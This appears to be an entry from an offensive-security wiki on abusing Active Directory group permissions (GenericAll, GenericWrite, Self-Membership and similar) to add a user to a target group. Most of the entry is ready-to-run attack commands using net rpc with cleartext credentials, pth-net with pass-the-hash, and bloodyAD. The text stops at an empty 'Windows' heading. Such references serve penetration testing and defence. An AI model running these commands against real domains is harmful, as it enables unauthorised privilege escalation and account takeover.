AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

UNIX-like

It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.

# With net and cleartext credentials (will be prompted)
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController

# With net and cleartext credentials
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController

# With Pass-the-Hash
pth-net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember $TargetGroup $TargetUser

Windows